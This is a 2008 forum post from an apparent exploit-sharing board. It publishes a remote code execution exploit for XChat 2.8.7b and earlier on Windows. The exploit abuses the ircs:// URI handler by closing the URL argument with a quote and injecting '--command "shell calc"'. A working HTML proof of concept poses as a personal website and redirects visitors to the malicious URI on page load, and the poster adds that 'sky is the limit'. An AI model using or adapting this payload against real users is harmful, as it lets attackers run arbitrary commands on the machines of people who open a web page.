|
|
|
|||||||
| Notices |
Register Now for FREE!
|
 |
|
|
LinkBack | Thread Tools | Display Modes |
08-02-2008
|
#1 (permalink) |
|
Studentz
 
Join Date: Jun 2006
Location: On port u forgot to secure!
Age: 18
Posts: 6,125
Thanks: 57
Thanked 171 Times in 126 Posts
Rep Power: 250
   |
XChat <= 2.8.7b (URI Handler) Remote Code Execution Exploit
################################################## ################################################## ##############
# # Xchat <= 2.8.7b Remote Code Execution (tested on Windows XP SP1+SP2+SP3, IE6 & IE7 fully patched) # Vendor : XChat: Multiplatform Chat Program # Affected Os : Windows * # Risk : critical # # This bug is related to the URI Handler vulnerability but the approch is a bit different. # We don't use any % or ../../../ as the others related bugs, just a single " # According to the registry , when the IRCS:// URI is called , the command launched is : # C:\Program Files\xchat\xchat.exe --existing --url="%1" # # The xchat --help option tells us : # " --command=COMMAND :Send a command to existing xchat " # # So we add a simple " at the end of the URL and we're in business ? # Yep =) ircs://blabla@3.3.3.3" --command "shell calc" # # Note: The victim needs to be connected to an irc server , and also need IE * . # # # # Greetz: French/Quebec community, redirection... # # "If in times like theses you can talk about individual freedoom, you're propably a terrorist" # # Poc: this only launch the calc, sky is the limit passed this point. <html> <head><title>Welcome to my personal website</title></head> <body> <script>document.location='ircs://blabla@3.3.3.3" --command "shell calc"'</script> </body> </html>
__________________
To view links or images in signatures your post count must be 10 or greater. You currently have 0 posts. |
|
    
|
|
| Bookmarks |
| Currently Active Users Viewing This Thread: 1 (0 members and 1 guests) | |
| Thread Tools | |
| Display Modes | |
|
|
|
Similar Threads
|
||||
| Thread | Thread Starter | Forum | Replies | Last Post |
| LoveCMS 1.6.2 Final Remote Code Execution Exploit | Wh!5t|eR | Exploit Codes | 0 | 08-07-2008 05:36 AM |
| TGS CMS Remote Code Execution Exploit | Wh!5t|eR | Exploit Codes | 0 | 08-04-2008 02:56 AM |
| Pligg <= 9.9.0 Remote Code Execution Exploit | Armageddon | Exploit Codes | 3 | 08-01-2008 04:20 PM |
| IntelliTamper 2.07 (server header) Remote Code Execution Exploit | Wh!5t|eR | Exploit Codes | 1 | 07-23-2008 08:27 PM |
Linear Mode
